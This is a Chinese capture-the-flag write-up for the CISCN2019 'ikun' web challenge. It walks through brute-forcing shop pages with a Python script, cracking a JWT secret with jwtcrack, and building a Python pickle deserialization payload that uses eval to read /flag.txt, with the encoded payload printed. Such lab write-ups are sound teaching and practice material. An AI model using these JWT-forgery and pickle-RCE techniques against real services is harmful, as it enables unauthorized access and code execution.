BUUCTF-WEB 【CISCN2019 华北赛区 Day1 Web2】ikun 1

考点:JWT伪造

爆破页面

爆破页面的方式查找lv6.png

1
2
3
4
5
6
7
8
9
10
11
import requests

for i in range(1,500):
url = "http://c3b3fa1b-d3f7-46e3-87aa-cd780610904c.node3.buuoj.cn/shop?page=%d"%(i)
resp = requests.get(url, timeout=10)
if "lv6.png" in resp.text:
print("[+]" + str(i))
break

print(i)
# page=181 找到

JWT伪造

要伪造JWT,首先要知道密钥,通过工具 jwt-cracker

下载连接:https://github.com/brendan-rius/c-jwt-cracker

1
2
└─$ ./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.l0qG4XbJbemqJXsaITaT8g78fkJ-boRvU2H7H1CY644"
Secret is "1Kun"

打开 https://jwt.io/

image-20210420095218610

python反序列化

序列化构建payload

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt', 'r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
1
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%20%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

这道题,在没看wp之前,我以为是需要用1000块钱把所有的商品买光,把资金筹集够,然后会有相应提示或者输出flag。在优惠折扣那存在一个漏洞,可以修改值大小。修改得越小,花的钱就越少,就通过burp suite 得 intruder 购买了所有商品,结果发现还是回显什么。总之,这道题很多知识点都超出了我的认知。